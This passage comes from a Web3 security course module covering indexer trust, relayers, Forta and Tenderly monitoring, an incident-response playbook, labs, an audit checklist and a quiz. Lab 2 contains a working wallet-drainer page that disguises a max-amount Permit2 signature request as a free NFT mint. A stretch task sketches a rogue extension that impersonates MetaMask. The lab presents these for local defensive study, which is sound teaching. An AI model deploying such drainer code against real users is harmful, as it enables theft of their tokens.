6. Indexers, Subgraphs, and “Off-chain Truth”
6.1 What an indexer is, and what it can lie about
An indexer (The Graph, Goldsky, Envio, custom in-house) reads chain events, normalizes them into a queryable form (usually GraphQL), and serves the dApp.
The dApp asks the indexer: “What is user X’s position in pool Y?” The indexer returns a number. The number drives the UI. The user’s wallet does not verify this number against the chain.
flowchart LR C[Chain state] --> I[Indexer] I --> G[GraphQL API] G --> F[Frontend UI] F --> S[Signing prompt:<br>'Withdraw X tokens'] S --> W[Wallet signs raw tx] W --> SC[Smart contract<br>actual state check] style I fill:#ffcccc style G fill:#ffcccc
What an indexer can lie about:
- Your balance — display wrong, you sign a withdraw for the displayed amount, contract reverts (best case) or processes a different action than you expected (worse).
- Available rewards / claimable amounts — same pattern.
- Position health (in a lending protocol) — UI says you’re safe, you’re actually being liquidated.
- Historical events — phishing emails citing “your transaction was confirmed” can be backed by a malicious indexer.
Indexer trust models:
| System | Trust assumption |
|---|---|
| The Graph — Hosted Service | Trust Edge & Node Inc. (now graphops); single operator |
| The Graph — Decentralized network | Trust the indexer market + curation signals; can query multiple indexers and compare |
| Goldsky / Envio / hosted SaaS | Trust the operator; SLA + corporate accountability |
| Self-hosted | You are the trust |
Audit angle:
- For value-bearing reads (balances, position health, claimable amounts), is there a direct-chain verification at the moment of signing? Don’t trust the indexer for the number that goes on the signing prompt.
- Is the indexer’s authority documented? Does the team have an alert if the indexer falls behind chain head or starts returning anomalous values?
- If The Graph decentralized network: which indexers serve queries? Are there at least 2-3? Could one collude to lie?
- Subgraph version pinning — a subgraph upgrade can silently change query semantics; pin the version.
6.2 Subgraph as code — read it like contracts
A Graph subgraph is TypeScript code that processes events. It has bugs. It has logic. It should be code-reviewed with the same rigor as the contracts. Real bugs found in subgraphs:
- Integer overflow in cumulative-position tracking (event-handler used
numbernotBigInt). - Missed-event handling (subgraph crashed on one type of event, silently advanced past it).
- Off-by-one in handlers reading
event.params.amount.
If the dApp’s UX depends on a subgraph, the subgraph is part of the system. Scope it into the audit.
7. Relayers and Keepers
7.1 What is a relayer/keeper
A relayer submits transactions on a user’s or protocol’s behalf. A keeper is a relayer that runs on a schedule or triggered by conditions (often called a “bot”).
| Use case | Example provider |
|---|---|
| Submit user-signed meta-transactions (gasless UX) | Gelato Relay, OpenZeppelin Defender Relay (sunset 2026), Biconomy |
| Submit scheduled tasks (rebalance, harvest, liquidate) | Gelato Functions, Chainlink Automation, OpenZeppelin Defender Autotasks |
| Submit on conditions met (oracle-driven) | Chainlink Automation, custom keepers |
7.2 Audit angles
| Question | Why it matters |
|---|---|
| Who can call the keeper’s entry-point on the contract? | If the keeper is onlyRole(KEEPER_ROLE), who has that role? If anyone can call, what’s the integrity story? |
| What MEV is the relayer exposed to? | A keeper that calls liquidate() is subject to front-running by other bots. Is the contract designed to be MEV-safe (e.g., commit-reveal, or it’s first-come-first-serve and you accept the loss)? |
| Payment correctness | Most keepers expect a fee from the protocol or user. If the fee calculation is broken (e.g., off-by-one on gas refund), the keeper either over-pays the protocol or drains it |
| Liveness and trust | If the keeper stops, what breaks? A perp protocol that depends on a liquidator keeper has a critical liveness dependency. Document and have a fallback (open liquidate() to anyone with proper incentives) |
| Encrypted / private mempool | If the relayer uses Flashbots Protect, are you OK with that? Some relayers route via private RPC; the dApp should let the user choose |
7.3 Gelato specifically
Gelato Relay (gasless meta-tx) and Gelato Functions (off-chain compute → on-chain submission) both require the contract to handle a relayer in a security-aware way:
- For Gelato Relay: the contract should verify
_msgSender()via ERC-2771 trusted-forwarder pattern. Common bug: forgetting to use_msgSender()and insteadmsg.sender, which is always the forwarder for relayed calls; the user is impersonated. - For Gelato Functions: the off-chain compute returns a proof / signature; the contract must verify it. Don’t trust the relayer’s output.
7.4 Chainlink Automation
Chainlink’s keeper service polls checkUpkeep(bytes calldata) on registered contracts and, if it returns true, calls performUpkeep(bytes calldata).
Audit angles:
checkUpkeepis a view; can a contract designed to be re-entrancy-safe in normal calls also be safe when its view is read at adversarial moments? (See read-only reentrancy in Tuan-05-Vulnerability-Classes-Part-1.)performUpkeepshould re-verify the condition. A common bug is trusting thatcheckUpkeepwas just true; an attacker can callperformUpkeepdirectly with crafted calldata.- Funding: Chainlink Upkeeps are funded with LINK; if funding runs out, the keeper stops. Liveness alert.
8. Infrastructure Monitoring & Detection
8.1 Forta
Forta is a decentralized network of detection bots running against chain data, emitting alerts. Common uses:
- “Large transfer from this contract” → alert.
- “New admin role granted in this contract” → alert.
- “Suspicious approval pattern” → alert.
Bot anatomy (TypeScript SDK):
import { Finding, FindingSeverity, FindingType, HandleTransaction, TransactionEvent } from 'forta-agent';
const LARGE_TRANSFER_THRESHOLD = ethers.parseUnits('1000000', 6); // 1M USDC
const handleTransaction: HandleTransaction = async (txEvent: TransactionEvent) => {
const findings: Finding[] = [];
const transfers = txEvent.filterLog([
'event Transfer(address indexed from, address indexed to, uint256 value)',
], USDC_ADDRESS);
for (const transfer of transfers) {
if (transfer.args.value >= LARGE_TRANSFER_THRESHOLD) {
findings.push(Finding.fromObject({
name: 'Large USDC transfer',
description: `Transfer of ${transfer.args.value} USDC from ${transfer.args.from} to ${transfer.args.to}`,
alertId: 'LARGE-USDC-TX',
severity: FindingSeverity.Info,
type: FindingType.Suspicious,
metadata: { from: transfer.args.from, to: transfer.args.to, value: transfer.args.value.toString() },
}));
}
}
return findings;
};
export default { handleTransaction };Audit a Forta bot configuration: see Lab §10.3.
8.2 Tenderly Alerts and Web3 Actions
Tenderly is the most mature transaction simulator. Its alerting + Web3 Actions provide:
- Alert on event emitted from a watched contract.
- Alert on function called.
- Alert on failed transaction (often the earliest signal of an exploit).
- Web3 Actions: JS/TS code that runs in response to an alert; can call other APIs, post to Slack/Discord, even submit a transaction (typically a pause).
Strengths: deep transaction simulation, mature debugger, easy onboarding. Weaknesses: trust the operator; not on-chain or decentralized.
8.3 OpenZeppelin Defender (note the sunset)
OpenZeppelin Defender provides Sentinels (monitoring), Autotasks (serverless functions), Relayers (transaction submission), Admin (multisig UX). The classic incident-response automation: Sentinel detects → Autotask fires → Relayer submits pause tx, all in seconds.
[verify status]: OpenZeppelin announced new signups closed June 30, 2025 with final shutdown July 1, 2026. The functionality is being migrated to open-source tools (Relayer, Monitor). Any audit in 2026 must verify whether the project’s incident-response automation depends on Defender and if so, what their migration path is. This is a real risk worth flagging.
8.4 Building a monitoring pipeline (what the audit should expect)
For a serious protocol:
flowchart LR C[Chain] --> M1[Forta bots:<br>cross-protocol detectors] C --> M2[Tenderly Alerts:<br>protocol-specific events] C --> M3[Custom indexer + alert:<br>business-logic invariants] M1 --> A[Aggregator:<br>PagerDuty / Opsgenie / Discord] M2 --> A M3 --> A A --> H[On-call human] A --> AT[Automated triage:<br>auto-pause if confidence high] AT --> P[Pause guardian tx<br>via Relayer] H --> WR[War room:<br>Slack/Discord channel]
Audit expectations:
- At least 3 independent detection layers (e.g., Forta + Tenderly + in-house).
- Alerts routed to a 24/7 human plus an automated fallback.
- Automated pause path is tested in a staging environment monthly.
- Pause-guardian role is its own multisig (not the upgrade multisig — different threat model).
- Alert sources include: large transfers, role changes, oracle deviations, upgrade events, pause/unpause events, governance proposal lifecycle events.
9. Incident Response Playbook
9.1 Pre-incident — what should be set up before anything goes wrong
| Item | Owner | Verification |
|---|---|---|
| Pause guardian multisig | Security team | Threshold appropriate (3-of-5 typical); keys held by signers reachable 24/7; signers practice pause monthly |
| Pause function on all contracts that can lose funds | Engineering | Function is whenNotPaused modifier applied; pause guardian role is set; unpause is gated to a longer-timelock multisig |
| Frontend kill switch | DevOps | Can serve a static maintenance page from CDN with one config push; tested |
| DNS rollback runbook | DevOps | Documented steps to revert to known-good NS records; registrar support contact phone numbers in the runbook |
| War-room channel | Operations | Pre-created private Slack/Discord/Signal channel; everyone needed is already a member; channel name standardized |
| Public-comms templates | Comms | Pre-written tweet drafts for: “we are investigating”, “confirmed incident, do not interact”, “incident contained” |
| White-hat outreach plan | Security | Immunefi contact warm; Seal 911 process documented; relationships with samczsun / paradigm / known white-hats |
| Forensics / chain analysis vendor | Security | TRM / Chainalysis / SlowMist contracted in advance; not negotiated during the incident |
| Insurance / treasury reserves | Finance | Cover for compensable losses pre-funded into a separate, fast-disbursable address |
| Audit firm on retainer | Security | A firm you trust ready to do an emergency review of the post-incident fix |
9.2 During — first 60 minutes
A condensed runbook. This is what a senior security engineer does. (Lab §10.4 has the full version.)
Minute 0–5 — Triage:
- Confirm the incident is real (not a Forta false positive, not a chain reorg). Check at least two data sources (Tenderly + Etherscan + an indexer).
- Open the war-room channel. Page the on-call.
- Identify scope: which contract, which function, what value-at-risk.
Minute 5–15 — Contain: 4. Pause the affected contracts (via pause guardian). This is your strongest lever; use it before perfect understanding. 5. If frontend is involved: serve maintenance page; remove the production deployment. 6. If DNS is involved: revert nameservers (have registrar support on the phone if it’s a hijack). 7. If npm/CDN is involved: pull the bad version from npm if you control it, request CDN to purge.
Minute 15–30 — Communicate: 8. Public tweet: “We are investigating an incident. Please do not interact with [URL].” Be specific about the URL/contract; vague tweets cause more panic than clarity. 9. Reach out to centralized exchanges and bridges that integrate your contract — they may be able to freeze flows. 10. Notify partners / integrators via your standard channel.
Minute 30–60 — Initial forensics + white-hat outreach: 11. Identify attacker addresses; tag them across explorers. 12. Reach out to attacker via on-chain message offering bug-bounty terms (the white-hat lifeline). 13. Reach out to bridges if attacker is moving funds cross-chain. 14. Start the post-mortem document. Write everything down in real time — memory degrades.
9.3 Post — what an audit will ask about months later
Every serious incident should produce:
- A post-mortem published publicly (technical + timeline + remediation).
- A remediation PR that fixes the root cause, with audit by a new firm.
- A compensation plan that is unambiguous, time-bounded, and communicated.
- An audit re-engagement to verify the fix and look for related issues.
- An update to the runbook + checklist + monitoring rules based on lessons learned.
Audit re-engagement question: did the team’s response actually follow their runbook? If not, why? Was the runbook wrong, or was the team unprepared? The answer determines whether the next incident goes better.
10. Lab — Reproduce, audit, and document
10.1 Lab 1 — wagmi+viem with EIP-1193 vs EIP-6963
Goal: build a minimal connect UI that demonstrates both APIs and shows the difference.
mkdir -p ~/web3-sec-lab/wk13/01-eip6963 && cd ~/web3-sec-lab/wk13/01-eip6963
pnpm create vite@latest . --template react-ts
pnpm add wagmi viem @tanstack/react-querysrc/wagmi.config.ts:
import { http, createConfig } from 'wagmi';
import { mainnet, sepolia } from 'wagmi/chains';
import { injected, walletConnect, coinbaseWallet } from 'wagmi/connectors';
export const config = createConfig({
chains: [mainnet, sepolia],
connectors: [
injected({ shimDisconnect: true }), // EIP-6963 aware in wagmi v2
walletConnect({ projectId: import.meta.env.VITE_WC_PROJECT_ID }),
coinbaseWallet({ appName: 'Wk13 Lab' }),
],
transports: {
[mainnet.id]: http(import.meta.env.VITE_MAINNET_RPC),
[sepolia.id]: http(import.meta.env.VITE_SEPOLIA_RPC),
},
});src/EIP6963Demo.tsx:
import { useEffect, useState } from 'react';
interface EIP6963ProviderDetail {
info: { uuid: string; name: string; icon: string; rdns: string };
provider: any;
}
export function EIP6963Demo() {
const [providers, setProviders] = useState<EIP6963ProviderDetail[]>([]);
const [legacyProvider, setLegacyProvider] = useState<string | null>(null);
useEffect(() => {
function onAnnounce(event: any) {
setProviders(prev => {
if (prev.find(p => p.info.uuid === event.detail.info.uuid)) return prev;
return [...prev, event.detail];
});
}
window.addEventListener('eip6963:announceProvider', onAnnounce);
window.dispatchEvent(new Event('eip6963:requestProvider'));
// Read legacy window.ethereum for comparison
if ((window as any).ethereum) {
setLegacyProvider(
(window as any).ethereum.isMetaMask ? 'MetaMask (legacy)' :
(window as any).ethereum.isCoinbaseWallet ? 'Coinbase (legacy)' :
'Unknown legacy provider'
);
}
return () => window.removeEventListener('eip6963:announceProvider', onAnnounce);
}, []);
return (
<div>
<h2>Legacy window.ethereum</h2>
<pre>{legacyProvider ?? 'none'}</pre>
<h2>EIP-6963 announced providers</h2>
<ul>
{providers.map(p => (
<li key={p.info.uuid}>
<img src={p.info.icon} width={24} alt="" />
<strong>{p.info.name}</strong> — rdns: <code>{p.info.rdns}</code>
</li>
))}
</ul>
</div>
);
}Task: install three wallet extensions (MetaMask, Rabby, Coinbase Wallet). Load the demo. Observe:
window.ethereumis whichever loaded last (the race condition).- EIP-6963 returns all three with distinct
rdns.
Stretch: build a malicious-looking “RogueWallet” extension that announces rdns: 'io.metamask'. Observe that without a user-presented chooser, your dApp could be fooled. Now build the chooser UI that displays the icon, name, and asks the user to confirm.
10.2 Lab 2 — A phishing “free mint” that asks for a permit instead
Goal: build a deliberately-malicious page on localhost that demonstrates how a wallet-drainer’s signing prompt looks. Use only against local-test wallets with no real funds.
Setup: spin up an anvil with a forked mainnet at a recent block. Pick a test EOA that has some USDC. Configure the wallet to use anvil as its RPC.
PhishingMint.tsx (the bad page):
import { useSignTypedData, useAccount } from 'wagmi';
const USDC = '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48';
const ATTACKER = '0x0000000000000000000000000000000000bad000'; // your test address
export function PhishingMint() {
const { address } = useAccount();
const { signTypedData } = useSignTypedData();
function fakeMintClick() {
// The user thinks: "Free NFT mint!"
// Actually: collecting a Permit2 PermitTransferFrom signature for max USDC
signTypedData({
domain: {
name: 'Permit2',
chainId: 1,
verifyingContract: '0x000000000022D473030F116dDEE9F6B43aC78BA3', // Permit2
},
types: {
PermitTransferFrom: [
{ name: 'permitted', type: 'TokenPermissions' },
{ name: 'spender', type: 'address' },
{ name: 'nonce', type: 'uint256' },
{ name: 'deadline', type: 'uint256' },
],
TokenPermissions: [
{ name: 'token', type: 'address' },
{ name: 'amount', type: 'uint256' },
],
},
primaryType: 'PermitTransferFrom',
message: {
permitted: { token: USDC, amount: (2n ** 256n - 1n).toString() },
spender: ATTACKER,
nonce: '0',
deadline: (Math.floor(Date.now() / 1000) + 365 * 24 * 60 * 60).toString(),
},
});
}
return <button onClick={fakeMintClick}>Mint your free Doodle</button>;
}Task:
- Connect MetaMask. Click “Mint your free Doodle”.
- Observe what MetaMask actually shows. The typed-data display includes
spender = 0x0000...bad000,amount = 2^256-1,token = USDC contract,Permit2 verifyingContract. - Read the prompt critically: would a hurried user notice the
spenderis wrong, the amount is max, and that this is not a mint at all?
Discussion: what would a wallet need to do differently to make this obvious? Examples:
- Render
2^256-1as “MAX (unlimited)“. - Pull the token symbol from the contract and show “USDC” not the address.
- Show a warning if
spenderis not on a known-good list. - Show a clear “this is a permit, not a mint” label.
Defense exercise: write a wagmi-level wrapper safeSignTypedData that:
- Decodes the typed-data.
- If it’s a Permit / Permit2 type, displays a custom modal before calling viem’s
signTypedData. - The custom modal renders the amount in human terms, the spender, and the deadline.
- The user can click “Continue” only after confirming.
This is the pattern serious dApps use.
10.3 Lab 3 — Audit and extend a Forta bot
Goal: clone a known-vulnerable-protocol detector configuration, audit it, and add a custom detector.
cd ~/web3-sec-lab/wk13/
git clone https://github.com/forta-network/forta-bot-examples
cd forta-bot-examples/ethereum/large-balance-decrease
pnpm installAudit task: read agent.ts. Answer:
- What event/condition triggers a finding?
- What’s the threshold? Is it appropriate for the threat model?
- What’s the false-positive rate likely to be?
- What state does the bot maintain? Is it correct under chain reorgs?
- What chain does it run on? What if the target protocol is multi-chain?
Extension task: pick a real protocol (e.g., a small Aave fork on Sepolia). Write a custom detector that fires when:
- A user’s collateralization ratio falls below a threshold within a single block (potential liquidation-front-run).
- A new admin role is granted on the protocol’s main contract.
- A flash-loan-sized borrow + same-block repay occurs (oracle-manipulation pattern).
Code skeleton:
import { Finding, FindingSeverity, FindingType, HandleTransaction, TransactionEvent } from 'forta-agent';
const PROTOCOL = '0x...'; // your target
const ADMIN_ROLE_GRANTED = 'event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender)';
const FLASH_LOAN_EVENT = 'event FlashLoan(address indexed receiver, address indexed initiator, address indexed asset, uint256 amount, ...)';
export const handleTransaction: HandleTransaction = async (txEvent: TransactionEvent) => {
const findings: Finding[] = [];
// Admin role granted
const roleEvents = txEvent.filterLog([ADMIN_ROLE_GRANTED], PROTOCOL);
for (const e of roleEvents) {
findings.push(Finding.fromObject({
name: 'New role granted on protocol',
description: `Role ${e.args.role} granted to ${e.args.account} by ${e.args.sender}`,
alertId: 'PROTOCOL-ROLE-GRANTED',
severity: FindingSeverity.High,
type: FindingType.Info,
}));
}
// Flash-loan + repay heuristic
const flashEvents = txEvent.filterLog([FLASH_LOAN_EVENT], PROTOCOL);
if (flashEvents.length > 0) {
findings.push(Finding.fromObject({
name: 'Flash loan observed',
description: `Flash loan of ${flashEvents[0].args.amount} ${flashEvents[0].args.asset}`,
alertId: 'PROTOCOL-FLASH-LOAN',
severity: FindingSeverity.Info, // Info; flash loans are normal but worth tracking
type: FindingType.Suspicious,
metadata: { initiator: flashEvents[0].args.initiator },
}));
}
return findings;
};Stretch: add a handleBlock that monitors aggregate TVL and alerts on a >10% drop in one block.
10.4 Lab 4 — Incident response runbook, first 60 minutes
Goal: produce a written runbook for a hypothetical incident. Use the scenario:
Scenario: It’s 3:47 AM UTC on a Tuesday. Forta fires a “large unusual transfer” alert from your protocol’s main vault contract. Within 2 minutes, three more alerts fire: another large transfer, an
Approvalevent withvalue = MAX, and aRoleGrantedfor the upgrader role. Twitter user @samczsun replies to a community member saying “your frontend is loading a malicious script — do not interact.”
Deliverable: write runbook-frontend-hijack.md with:
- Confirmation steps (minutes 0–5): exactly which dashboards / queries / contacts you check to confirm.
- Containment (minutes 5–15): exact commands. Who has the keys. How long the pause-guardian multisig takes to assemble (signers’ time zones).
- Communication (minutes 15–30): the exact tweet draft. The exchanges you message. The bridges you message.
- Forensics + outreach (minutes 30–60): which on-chain analytics you run (Etherscan tag tracking, Phalcon trace), who you reach out to (Seal 911? Immunefi?), what bounty you’d offer.
- Decision tree: at minute 60, you must decide: (a) keep paused and re-deploy frontend, (b) keep paused and recover funds via white-hat, (c) emergency upgrade. Spell out the criteria.
This runbook is one of the most valuable deliverables of the course. It’s the artifact you give to a client at the end of an audit; protocols love it.
11. Audit Checklist (Week 13 additions)
Add to the master audit checklist:
Wallet connection:
- EIP-6963 implemented with explicit user chooser; no silent default-pick.
- WalletConnect v2 with current SDK pin.
-
chainIdcross-check on every sign request. - No private-key paste fields.
Frontend supply chain:
-
package-lock.jsoncommitted and pinned. - Critical-path packages (
@walletconnect/*,@ledgerhq/connect-kit, wallet kits,viem,wagmi) version-locked. - Build runs on isolated CI, not maintainer laptops.
- No
postinstallscripts from untrusted packages. - SBOM produced per release.
Hosting and DNS:
- Registrar lock + DNSSEC.
- FIDO2 MFA on all admin accounts (DNS, CDN, hosting, npm).
- API keys inventoried; scoped permissions; rotated.
- Frontend pinned to IPFS hash with ENS
contenthash. - External integrity-monitor of deployed bundle.
Browser-level defenses:
- CSP set without
unsafe-inline/unsafe-eval. -
connect-srcallow-list of RPCs / indexers / WC relays. - SRI on all external scripts.
- COOP
same-origin+ COEPrequire-corp.
Signing UX:
- Application-level human-readable display of every signing payload.
- Permit / permit2 defaults to exact amount, not max.
- Refuse signing on
chainIdmismatch. - Refuse Safe
delegatecalloperation unless explicitly toggled.
RPC trust:
- Production dApp specifies its own RPC, not the wallet’s default.
- At least 2 providers with failover.
- Cross-check head and gas estimates for value-bearing reads.
- No private API keys in shipped bundle.
Indexers / subgraphs:
- Indexer trust model documented.
- Value-bearing reads verified directly against chain at sign time.
- Subgraph code reviewed.
Relayers / keepers:
- Trusted-forwarder pattern (ERC-2771) implemented correctly if relayers are used.
- Keeper liveness fallback documented.
- MEV exposure analyzed for keeper-driven flows.
Monitoring:
- At least 3 independent detection layers.
- 24/7 on-call rotation; pager test monthly.
- Pause-guardian multisig exists, separate from upgrade multisig.
- Automated pause path tested monthly in staging.
Incident response:
- Runbook exists, is dated, has names assigned.
- War-room channel pre-created.
- Comms templates pre-drafted.
- Defender / monitoring service migration plan (given OZ Defender sunset 2026) [verify].
12. Trade-offs and Open Debates
| Decision | Option A | Option B | Auditor’s view |
|---|---|---|---|
| Frontend hosting | Centralized (Vercel/Netlify) for UX | IPFS + ENS for decentralization | Both. Production-canonical on IPFS+ENS, mirror on Vercel for new-user UX. Document which is “the truth.” |
| RPC strategy | Single trusted provider (Infura) | Multi-provider failover | Multi-provider for any value-bearing dApp. The performance cost is negligible vs. the trust gain. |
| Wallet kit | Build your own | Use RainbowKit / ConnectKit / Reown AppKit | Use a popular kit; the EIP-6963/WalletConnect surface is too easy to get wrong. But pin the version aggressively. |
| Permit2 default | Exact amount | Max approval for UX | Exact, always. Max is a phishing-friendly default. Power-user opt-in only. |
| Indexer trust | Trust hosted indexer for everything | Trust indexer for UI, verify on chain at sign time | Hybrid. The indexer-for-UI / chain-for-truth split is the practical norm. |
| Incident pause | Aggressive (pause on first alert) | Conservative (wait for human triage) | Aggressive for value-bearing functions; the cost of an unnecessary pause is hours of bad UX; the cost of a delayed pause is the protocol. |
| Drainer detection | Rely on wallets | Layer at dApp UI | Both. Wallets are uneven; the dApp can render its own clear preview before invoking the wallet. |
13. Quiz (≥80% to advance)
-
Q: A dApp uses
window.ethereumas its sole provider. Three browser extensions are installed (MetaMask, Coinbase Wallet, Rabby). Which provider does the dApp see, and why is this a problem? A: Whichever extension loaded last won the race forwindow.ethereum. The user has no way to choose, and a malicious extension can deliberately load late to win. EIP-6963 fixes this with an event-based discovery + user chooser. -
Q: In the BadgerDAO 2021 incident, the attacker did not compromise the smart contract or the npm dependency tree. What did they compromise, and what did they do with it? A: They obtained unauthorized Cloudflare API key access and deployed a Cloudflare Worker that injected malicious JavaScript into the served HTML. The script intercepted Web3 transactions and prompted users to sign approval-increase transactions to attacker addresses.
-
Q: Why is a stale or malicious public RPC dangerous for a value-bearing dApp action? A: The RPC can lie about chain state, gas estimates, or simulation results. The dApp displays bad data to the user, the user signs based on bad data, and the transaction submits to the real chain — drain, revert, or wrong action.
-
Q: A user clicks “Mint” on a free-NFT page and the wallet shows a signing prompt with
EIP712Domain { name: 'Permit2', verifyingContract: 0x000000000022D473030F116dDEE9F6B43aC78BA3 }. What’s happening? A: It’s not a mint. The page is requesting a Permit2 PermitTransferFrom signature that, once signed, lets the spender (likely the attacker) drain whichever token the permit is for. The user should refuse and report the site. -
Q: What is Subresource Integrity (SRI), and what attack does it defend against? A: SRI lets a script tag carry a SHA-384/512 hash of the expected content. The browser refuses to execute the script if it doesn’t match. It defends against CDN-level supply-chain attacks where a third-party host serves modified content.
-
Q: Why did the Ledger Connect Kit incident affect dApps that “didn’t use Ledger Connect Kit”? A: Many dApps depended on Ledger Connect Kit transitively — through wallet kits like Web3Modal or other connector libraries. A transitive dependency in the production bundle is identical to a direct dependency from a security standpoint, but few teams audit transitive deps with the same rigor.
-
Q: A protocol uses The Graph hosted service for its UI. The UI displays “your balance is 1000 USDC”. The user clicks “Withdraw All”. What’s the auditor’s question? A: Is the “1000 USDC” pulled from the chain at the moment of building the withdraw transaction, or is the UI showing the indexer’s (possibly stale or maliciously crafted) number? For value-bearing actions, the signed transaction parameters must come from chain state, not from an off-chain indexer.
-
Q: What is the auditor’s concern with EIP-2771 trusted-forwarder pattern used by Gelato Relay? A: The contract must use
_msgSender()(which decodes the original sender from the forwarder’s calldata) instead ofmsg.sender(which is the forwarder itself). If a contract usesmsg.senderfor authorization while being called via a trusted forwarder, every user is impersonated as the forwarder. -
Q: A protocol’s incident-response setup depends on OpenZeppelin Defender Sentinels + Autotasks. What should the auditor flag in May 2026? A: OZ Defender announced sunset July 1, 2026 [verify]. Protocols dependent on it should have a documented migration plan to alternatives (the OSS replacements, Tenderly, Forta, or in-house) before that date. Lack of a plan is a Medium finding minimum.
-
Q: In the Bybit February 2025 incident, the smart contract executed exactly the calldata it received and the signing keys were not stolen. Where did the bug live? A: In the off-chain UI (Safe{Wallet} frontend) which was compromised via injected JavaScript on a developer’s machine. The UI displayed
operation: 0(CALL) to the signers while the hardware wallets receivedoperation: 1(DELEGATECALL) targeting an attacker contract. The signers approved the hash without independent verification. The bug lived in the gap between displayed and signed bytes — exactly the surface this lesson is about.
14. Week 13 Deliverables
- Lab 1 (EIP-1193 vs EIP-6963 demo) working; chooser UI built.
- Lab 2 (phishing permit2 simulator) reproduced locally; defensive
safeSignTypedDatawrapper written. - Lab 3 (Forta bot audit + custom detector) committed.
- Lab 4 (incident-response runbook, first 60 minutes) written for a chosen protocol.
- Master audit checklist updated with Week 13 items.
- One paragraph on each of: BadgerDAO, Curve frontend, Galxe DNS, Ledger Connect Kit, Bybit. For each, write “what would the audit checklist have flagged?”
- Personal
references-frontend-infra.mdwith at least 20 primary-source links from this week.
15. Where this leads
Next week: Tuan-14-Governance-DAO-Security. Where Week 13 was about the layers between user and contract, Week 14 is about the layer that controls the contract itself — token-weighted voting, delegation, timelocks, multisigs, emergency pauses, and the parameter-risk surface (oracle adjustments, fee changes, collateral factor changes) that has caused several nine-figure governance incidents.
The thematic bridge: in Week 13 we asked “who can change what the user sees and signs?” In Week 14 we ask “who can change what the contract does?” Both questions have the same shape — a trust authority that, if compromised or misused, drains the protocol. The defenses (multi-party authorization, transparency, monitoring, time-delay) are also shared.
Then Week 15 (Tuan-15-Audit-Methodology-Tooling) and Week 16 (Tuan-16-Report-Writing-Capstone) turn these eleven weeks of vocabulary into a professional deliverable.
Last updated: 2026-05-16 See also: Roadmap · References · MOC-Web3-Security-Mastery · Tuan-12-Wallet-AA-Key-Management · Tuan-14-Governance-DAO-Security · Case-BadgerDAO-Frontend-2021 · Case-Galxe-Frontend-Hijack-2023 · Case-Radiant-Capital-2024